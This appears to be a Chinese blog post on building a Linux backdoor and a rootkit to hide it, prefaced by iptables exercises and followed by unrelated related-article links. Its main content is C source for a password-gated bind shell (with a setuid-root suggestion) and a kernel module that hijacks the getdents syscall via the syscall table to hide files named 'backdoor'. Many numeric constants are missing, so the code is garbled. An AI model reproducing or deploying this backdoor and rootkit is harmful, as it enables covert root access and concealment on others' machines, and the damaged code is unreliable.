实现后门程序以及相应的rootkits,实现对后门程序的隐藏
iptables的一些命令:
a. a) 使用规则实现外网不能访问本机,但是本机主动发起的连接正常进行。
sudo iptables –A INPUT -p tcp —tcp —syn -j DROP
a. b) 使用规则限制对icmp echo request的回复为一分钟5次,从而降低攻击风险。
sudo iptables -A INPUT -p icmp —icmp-type echo-request –m limit —limit-burst 5 -j ACCEPT
sudo iptables -A INPUT -p icmp —icmp-type echo-request -j DROP
c) 使用规则实现对一台内网主机的网页代理。例,通过访问A(电脑的未开放的4567端口,实际可以访问到B电脑的80端口上的网页。
iptables -t nat -A PREROUTING -d 10.211.55.3 -p tcp -m tcp —dport 4567 -j DNAT —to-destination 10.211.55.1:80
iptables -t nat -A POSTROUTING -d 10.211.55.1 -p tcp -m tcp —dport 80 -j SNAT —to-source 10.211.55.3:80
|
src_ip="192.168.10.220" proxy_ip="192.168.10.146" dest_ip="166.111.4.100" echo 1 > /proc/sys /net/ipv4/ip_forward iptables -t nat -F iptables -t nat -A PREROUTING -d $proxy_ip -p tcp -m tcp --dport 4567 -j DNAT --to-destination $dest_ip:80 iptables -t nat -A POSTROUTING -d $dest_ip -p tcp -m tcp --dport 80 -j SNAT --to-source $proxy_ip:4567 iptables -t nat -A PREROUTING -d $proxy_ip -p tcp -m tcp --sport 80 -j DNAT --to-destination $src_ip iptables -t nat -A POSTROUTING -d $src_ip -p tcp -m tcp --sport 80 -j SNAT --to-source $proxy_ip:4567 |
一:后门程序:获得一个shell ,可以通过修改文件权限为4755,获得root shell
#include <stdio.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h> int main(int argc, char **argv)
{
int i, listenfd, goshyoujinnsama;
pid_t pid;
int len = ;
int port=;
char buf[len];
socklen_t len2;
struct sockaddr_in s_addr;
struct sockaddr_in c_addr;
char enterpass[]="Stop! who are you ?";
char welcome[]="Welcome,master!";
char password[]="";
char sorry[]="heheda !";
//IPV4,套接口类型为SOCK_STREAM,协议类型不指定
listenfd = socket(AF_INET,SOCK_STREAM,);
if (listenfd == -){
exit();
} bzero(&s_addr,sizeof(s_addr));
s_addr.sin_family=AF_INET; //tcp/ip类型
s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
s_addr.sin_port=htons(port); if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -){
exit();
}
//创建一个套接口并监听申请的连接,listenfd:已捆绑未连接套接口的描述字,20:等待连接队列的最大长度
if (listen(listenfd, )==-){
exit();
}
len2 = sizeof(c_addr); while(){
//接收一个套接口中已经建立的连接,返回所接受包的socket类型值。accept函数主要用于服务器端,一般位于listen函数之后,默认会阻塞进程,直到有一个客户请求连接,建立好连接后,它返回的一个新的套接字 socketfd_new ,此后,服务器端即可使用这个新的套接字socketfd_new与该客户端进行通信,而sockfd 则继续用于监听其他客户端的连接请求。
goshyoujinnsama = accept(listenfd, (struct sockaddr *)&c_addr, &len2);
//计算机程序调用的分叉函数,若成功调用,子进程返回0,父进程返回子进程标记。失败返回-1
if((pid = fork()) > )
{
exit();
}else if(!pid){
close(listenfd);
write(goshyoujinnsama, enterpass, strlen(enterpass));
memset(buf,'\0', len);
read(goshyoujinnsama, buf, len);
if (strncmp(buf,password,) !=){
write(goshyoujinnsama, sorry, strlen(sorry));
close(goshyoujinnsama);
exit();
}else{
write(goshyoujinnsama, welcome, strlen(welcome));
dup2(goshyoujinnsama,);
dup2(goshyoujinnsama,);
dup2(goshyoujinnsama,);
execl("/bin/sh", "toSyojinn", (char *) );
}
}
}
close(goshyoujinnsama);
}
二:通过修改系统调用表的getdents函数,使系统调用ls 不能显示攻击者指定的文件,其余文件正常显示
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
#include <linux/slab.h>
#include <linux/init.h>
#include <linux/stddef.h>
#include <linux/mm.h>
#include <linux/in.h>
#include <asm/processor.h>
#include <linux/proc_fs.h> struct linux_dirent{
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[];
}; static unsigned long ** sys_call_table; long (*old_getdents)(unsigned int fd, struct linux_dirent __user *dirp,
unsigned int count); void disable_write_protection(void)
{
unsigned long cr0 = read_cr0();
clear_bit(, &cr0);
write_cr0(cr0);
} void enable_write_protection(void)
{
unsigned long cr0 = read_cr0();
set_bit(, &cr0);
write_cr0(cr0);
} void *
get_lstar_sct_addr(void)
{
//msr寄存器地址
u64 lstar;
u64 index;
//获得sys_call表的地址
/*可获得系统调用的入口地址,
然后对该入口地址进行解析得
到入口函数为system_call*/
rdmsrl(MSR_LSTAR, lstar);
/*从0中断服务程序system_call的地址
开始搜索硬编码 \xff\x14\xc5,
这块硬编码的后面紧接着就是系统调用表的地址 */
for (index = ; index <= PAGE_SIZE; index += ) {
u8 *arr = (u8 *)lstar + index;
//通过sys_call获取sys_call_table特征码
if (arr[] == 0xff && arr[] == 0x14 && arr[] == 0xc5) {
return arr + ;
}
} return NULL;
} unsigned long **
get_lstar_sct(void)
{
unsigned long *lstar_sct_addr = get_lstar_sct_addr();
if (lstar_sct_addr != NULL) {
u64 base = 0xffffffff00000000;
u32 code = *(u32 *)lstar_sct_addr;
return (void *)(base | code);
} else {
return NULL;
}
} asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp,
unsigned int count){ struct linux_dirent *td,*td1,*td2,*td3;
int number;
int copy_len = ;
// 调用原始的系统调用,下面对返回结果进行过滤
number = (*old_getdents) (fd, dirp, count); ////调用sys_getdents,返回该目录文件下写入目录的总字节数
if (!number)
return (number);
// 分配内核空间,并把用户空间的数据拷贝到内核空间 GFP_KERNEL:当前进程在少内存的情况下通过休眠来等待一页
td2 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
td1 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL);
td = td1;
td3 = td2;
//*td2是内核空间的指针,*dirp是用户空间指针,n表示从用户空间想内核空间拷贝数据的字节数。
copy_from_user(td2, dirp, number);
while(number>){
number = number - td2->d_reclen;
//printk("%s\n",td2->d_name);
if(strstr(td2->d_name,"backdoor") == NULL){
//由td2所指内存区域复制td2->dreclen字节到td1区域
memmove(td1, (char *) td2 , td2->d_reclen);
td1 = (struct linux_dirent *) ((char *)td1 + td2->d_reclen);
copy_len = copy_len + td2->d_reclen;
} td2 = (struct linux_dirent *) ((char *)td2 + td2->d_reclen);
}
// 将过滤后的数据拷贝回用户空间
copy_to_user(dirp, td, copy_len);
kfree(td);
kfree(td3);
return (copy_len);
} static int filter_init(void)
{
sys_call_table = get_lstar_sct();
if (!sys_call_table)
{ return ;
}
else{
old_getdents = (void *)sys_call_table[__NR_getdents];
disable_write_protection();
sys_call_table[__NR_getdents] = (unsigned long *)&my_getdents;
enable_write_protection();
return ;
}
} static void filter_exit(void)
{
disable_write_protection();
sys_call_table[__NR_getdents] = (unsigned long *)old_getdents;
enable_write_protection();
}
MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);
实现后门程序以及相应的rootkits,实现对后门程序的隐藏的更多相关文章
- php通用安装程序,导入数据文件(.sql)的安装程序
php通用安装程序,导入数据文件(.sql)的安装程序 该程序只需要1个php文件 和 1个数据文件,很方便调用.install/index.php 程序文件install/mycms ...
- Android 在安装完成界面,点击打开应用程序。在应用程序点击home键,再从桌面打开程序导致产生多个实例或者说程序被重复打开
Android 在安装完成界面,点击打开应用程序.在应用程序点击home键,再从桌面打开程序导致产生多个实例或者说程序被重复打开. etong_123的专栏 - 博客频道 - CSDN.NET htt ...
- 分享非常有用的Java程序(关键代码)(七)---抓屏程序
原文:分享非常有用的Java程序(关键代码)(七)---抓屏程序 import java.awt.Dimension; import java.awt.Rectangle; import java.a ...
- 使 IIS 6.0 可以在 64 位 Windows 上运行 32 位应用程序 试图加载格式不正确的程序。
原文 使 IIS 6.0 可以在 64 位 Windows 上运行 32 位应用程序 试图加载格式不正确的程序. win7 64位操作系统上边运行IIS网站应用的时候,提示错误"试图加载格式 ...
- 无法为具有固定名称“MySql.Data.MySqlClient”的 ADO.NET 提供程序加载在应用程序配置文件中注册的实体框架提供程序类型“MySql.Data.MySqlClient.MySqlProviderServices,MySql.Data.Entity.EF6”
"System.InvalidOperationException"类型的未经处理的异常在 mscorlib.dll 中发生 其他信息: 无法为具有固定名称"MySql. ...
- 同样级别iOS程序员,为啥比我菜的程序员薪资都比我高?
前言: 作为程序员,都有一种相同的焦虑——即当一次又一次的新技术浪潮袭来,总会不由自主的拼命跟随,总是担心如果不紧跟新技术的潮流,将会被时代所抛弃. 害怕年龄,害怕平庸,其实只是你在现实里的努力无法支 ...
- 无法为具有固定名称“System.Data.SqlClient”的 ADO.NET 提供程序加载在应用程序配置文件中注册的实体框架提供程序类型“System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer”。请确保使用限定程序集的名称且该程序集对运行的应用程序可用。有关详细信息,请参阅 http://go.m
Windows服务中程序发布之后会如下错误: 无法为具有固定名称“System.Data.SqlClient”的 ADO.NET 提供程序加载在应用程序配置文件中注册的实体框架提供程序类型“Syste ...
- 九,ESP8266 判断是断电上电(强制硬件复位)之后运行的内部程序还是内部软件复位之后运行的程序(基于Lua脚本语言)
现在我有一个需求,WIFI模块控制一个继电器,我要做的是如果内部程序跑乱了,造成了内部程序复位重启,那么控制继电器的状态不能改变 如果是设备断电了,然后又来电了,我需要的是继电器一定要是断开才好.不能 ...
- 微信小程序笔记<三>入口app.js —— 注册小程序
小程序开发框架在逻辑层使用的语言就是JavaScript,所以想玩小程序JavaScript的基本功一定要扎实.但小程序基于js做了一些修改,以方便开发者更方便的使用微信的一些功能,使得小程序更好的贴 ...
- 微信小程序如何跳转到另一个小程序
微信小程序如何跳转到另一个小程序,要注意:在app.json文件里也要配置 navigateToMiniProgramAppIdList,如下图: "navigateToMiniProgra ...
随机推荐
- 解决点击cell执行动画导致的重用问题
解决点击cell执行动画导致的重用问题 说明: 动画的细节都是裸露的,并没有封装,靠看官来优化了. 效果: 源码: https://github.com/YouXianMing/UITableView ...
- 手把手教你制作AppPreview视频并上传到appStore进行审核
手把手教你制作AppPreview视频并上传到appStore进行审核 注意,你需要使用iMovie才能够制作AppPreview视频文件,用QuickTime录制的无效! 最终效果 1. 新建一个事 ...
- EntityFramework Code First便捷工具——数据迁移
使用EntityFramework Code First开发,数据迁移是一个不得不提的技术. 在我们的开发过程中,难免需要对模型进行改进,模型改进后,会导致实体集与数据库不一致,当然我们可以通过删除数 ...
- Ubuntu 配置Mysql远程连接
首先安装mysql.mysqlclient sudo apt-get install mysql-server mysql-clientsudo apt-get install libmysqlcli ...
- 【问题记录】centos 开机启动命令未执行
查看日志 /var/log/boot.log 看具体原因,有可能脚本执行有问题, 当你在系统已经启动的时候,脚本执行没问题不代表开机启动能运行
- 七:Java之封装、抽象、多态和继承
本文章介绍了关于Java中的面向对象封装.抽象.继承.多态特点 Java面向对象主要有四大特性:封装.抽象.继承和多态. 一.封装 封装就是将抽象得到的数据和行为(或功能)相结合,形成一个有机的总体, ...
- mysql通过“延迟关联”进行limit分页查询优化的一个实例
最近在生产上遇见一个分页查询特别慢的问题,数据量大概有200万的样子,翻到最后一页性能很低,差不多得有4秒的样子才能出来整个页面,需要进行查询优化. 第一步,找到执行慢的sql,如下: SELECT ...
- cpu负载过高分析
如何定位是哪个服务进程导致CPU过载,哪个线程导致CPU过载,哪段代码导致CPU过载? 步骤一.找到最耗CPU的进程 工具:top 方法: 执行top -c ,显示进程运行信息列表 键入P (大写p) ...
- Maven/Ant的安装(Win10 x64)
一.Maven安装 1.官网下载安装包,http://maven.apache.org/download.cgi. 2.安装包解压到某一目录,然后配置maven的环境变量. PS:也可以不配置环境变量 ...
- P1446 [HNOI2008]Cards
题目描述 小春现在很清闲,面对书桌上的N张牌,他决定给每张染色,目前小春只有3种颜色:红色,蓝色,绿色.他询问Sun有多少种染色方案,Sun很快就给出了答案. 进一步,小春要求染出Sr张红色,Sb张蓝 ...